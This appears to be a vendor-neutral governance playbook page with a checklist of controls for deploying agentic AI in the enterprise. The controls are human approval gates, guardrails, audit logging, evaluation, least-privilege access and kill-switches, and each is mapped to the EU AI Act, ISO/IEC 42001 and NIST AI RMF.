GOV-004PlaybookUpdated 2026-06-21 · Version 1.0
Agentic AI Governance Checklist
A practical, vendor-neutral checklist for governing agentic AI in the enterprise — translating the principles of the EU AI Act, ISO/IEC 42001 and NIST AI RMF into concrete controls you can implement in a harness. It covers human oversight, guardrails, audit logging, evaluation, access control, prompt-injection defence and incident response, and maps each control to the patterns and knowledge units that operationalize it. Use it as a readiness gate before letting an agent act in production.
Evidence: Industry observationConfidence: MediumSource: Industry observationSource: Personal experience
EU AI ActISO/IEC 42001NIST AI RMF
Definition
The agentic AI governance checklist is an operational control set that turns AI governance frameworks into concrete, implementable requirements for autonomous agents acting in production.
Scope
Teams building or deploying autonomous or semi-autonomous agents that use tools, act on systems, or make consequential decisions. It is a practical companion to the formal frameworks, not a substitute for legal advice.
Key requirements
- Human oversight by risk: gate high-impact, irreversible or regulated actions for human approval.
- Guardrails on inputs and outputs, including prompt-injection and PII defence.
- Full audit logging and observability so every action is traceable.
- Evaluation before and after deployment, against a maintained eval set.
- Least-privilege access for tools and data the agent can reach.
- A defined incident response and kill-switch for agents in production.
Controls
- Human approval gates
- Route high-impact actions through a human checkpoint (EU AI Act Art. 14). Implements the human-approval-gate pattern.
- Guardrails
- Validate and constrain inputs and outputs; defend against prompt injection and block out-of-policy actions.
- Audit logging & observability
- Trace every decision, tool call and action so the agent is reviewable and incidents are reconstructable.
- Evaluation harness
- Score behaviour against an eval set before shipping and monitor for regressions after — NIST 'Measure'.
- Least-privilege access
- Scope the tools, data and permissions an agent can reach to the minimum its task requires.
- Incident response & kill-switch
- Define how to detect, stop and remediate a misbehaving agent, including a way to halt it immediately.
Checklist
- 01Classify the agent's risk and identify which actions need human approval.
- 02Implement guardrails for inputs/outputs and prompt-injection defence.
- 03Enable end-to-end audit logging and observability.
- 04Stand up an evaluation set and run it pre-deployment and continuously.
- 05Apply least-privilege scoping to tools, data and credentials.
- 06Define incident response, monitoring thresholds and a kill-switch.
- 07Map each control to your obligations under the EU AI Act, ISO 42001 and NIST AI RMF.
- 08Document ownership and review the agent on a schedule.
Common pitfalls
- Granting an agent broad tool/data access 'to be safe', creating a large blast radius.
- Gating everything (approval fatigue) or nothing (no oversight) instead of gating by risk.
- Shipping without an eval set, so quality and safety are unmeasured.
- No kill-switch or incident plan when an agent misbehaves in production.
- Ignoring prompt injection as an attack surface for tool-using agents.
Production evidence
- Context
- Teams putting an autonomous or semi-autonomous agent into production where it uses tools and takes consequential actions.
- Scenario
- Before go-live, the team runs the checklist as a readiness gate: classify the agent's risk, gate high-impact actions for human approval, add guardrails and prompt-injection defence, enable audit logging and observability, stand up an evaluation set, scope least-privilege access, and define incident response and a kill-switch.
- Technology
- A harness combining a human-approval gate, guardrails, audit logging/observability, an evaluation harness and scoped tool/credential access.
- Load
- Applied per agent before deployment and re-reviewed on a schedule; the heaviest control (human approval) is reserved for the small set of high-impact actions.
- Results
- Observed pattern: teams that gate by risk, enforce least privilege and instrument from day one contain the blast radius of agent errors; those that grant broad access 'to be safe' or ship without evals discover failures in production. Measure escalation appropriateness, false-action rate and mean time to detect.
Lessons learned
- Treat the checklist as a readiness gate, not a one-time audit — re-run it as the agent's tools and autonomy grow.
- Least-privilege access and risk-based human approval bound the blast radius more than any single guardrail.
- Without an evaluation set and audit logging in place before launch, you cannot tell a safe agent from a lucky one.
- Map each control to a concrete owner; governance without accountability is just documentation.
Examples
- An agent whose refund action is gated for human approval while read-only lookups run freely.
- A guardrail blocking a prompt-injected instruction to exfiltrate data via a tool.
- An evaluation run catching a safety regression before an agent update ships.
FAQs
- Is this a substitute for the EU AI Act or ISO 42001?
- No. It is a practical control set that operationalizes their principles for agents. Use it alongside the formal frameworks and legal advice, not instead of them.
- Which control matters most for autonomous agents?
- Risk-based human oversight plus least-privilege access and audit logging — together they bound what an agent can do and make every action accountable.
- How does it connect to the patterns library?
- Each control maps to patterns that implement it — human-approval-gate for oversight, reflection and evaluator-optimizer for quality — and to knowledge units like guardrails and AI observability.